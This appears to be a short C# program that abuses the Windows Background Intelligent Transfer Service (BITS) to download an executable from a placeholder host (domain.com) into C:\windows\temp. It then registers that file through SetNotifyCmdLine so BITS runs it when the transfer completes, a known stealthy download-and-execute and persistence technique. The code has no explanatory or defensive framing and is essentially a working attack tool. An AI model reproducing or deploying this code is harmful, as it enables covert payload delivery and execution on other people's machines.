BITSJ.cs

using BITS = BITSReference1_5;

namespace ConsoleApp2
{
    class Program
    {
        class BISTJobObject
        {
            static BITS.BackgroundCopyManager1_5 BITSManager;
            static BITS.GUID JobGUID;
            static BITS.IBackgroundCopyJob JobIBMCopyJob;
            static BISTJobObject BISTJobObjectVar;

            public BISTJobObject()
            {
                BITSManager = new BITS.BackgroundCopyManager1_5();
            }

            public static void Main(string[] args)
            {
                BISTJobObjectVar = new BISTJobObject();

                string remoteFile = @"http://domain.com/exe.exe";
                string localFile = @"C:\windows\temp\exe.exe";
                string name = "name";

                // Create a new download job 
                BITSManager.CreateJob(name, BITS.BG_JOB_TYPE.BG_JOB_TYPE_DOWNLOAD, out JobGUID, out JobIBMCopyJob);
                // Configure it
                JobIBMCopyJob.AddFile(remoteFile, localFile);
                BISTJobObjectVar.RunBITSJob();


                // Create a new job 
                BITSManager.CreateJob(name, BITS.BG_JOB_TYPE.BG_JOB_TYPE_DOWNLOAD, out JobGUID, out JobIBMCopyJob);
                // Configure it
                JobIBMCopyJob.AddFile(remoteFile, localFile);


                BISTJobObjectVar.setCMDArguments(JobIBMCopyJob, localFile, "");
                // Run the job
                JobIBMCopyJob.Resume();

            }

            // BITS Job execution
            private void RunBITSJob()
            {
                // Run 
                JobIBMCopyJob.Resume();
                bool jobIsFinal = false;
                while (!jobIsFinal)
                {
                    BITS.BG_JOB_STATE state;
                    JobIBMCopyJob.GetState(out state);
                    switch (state)
                    {
                        case BITS.BG_JOB_STATE.BG_JOB_STATE_ERROR:
                            // Wait
                            System.Threading.Thread.Sleep(500); 
                            break;
                        case BITS.BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED:
                            JobIBMCopyJob.Complete();
                            break;
                        case BITS.BG_JOB_STATE.BG_JOB_STATE_ACKNOWLEDGED:
                            jobIsFinal = true;
                            break;
                        default:
                            // Wait
                            System.Threading.Thread.Sleep(500); 
                            break;
                    }
                }
            }

            private void setCMDArguments(BITS.IBackgroundCopyJob job, string filename, string args)
            {
                // So it knows SetNotifyCmdLine 
                var tmp_job = job as BITS.IBackgroundCopyJob2;
                tmp_job.SetNotifyCmdLine(filename, args);
            }
        }
    }
}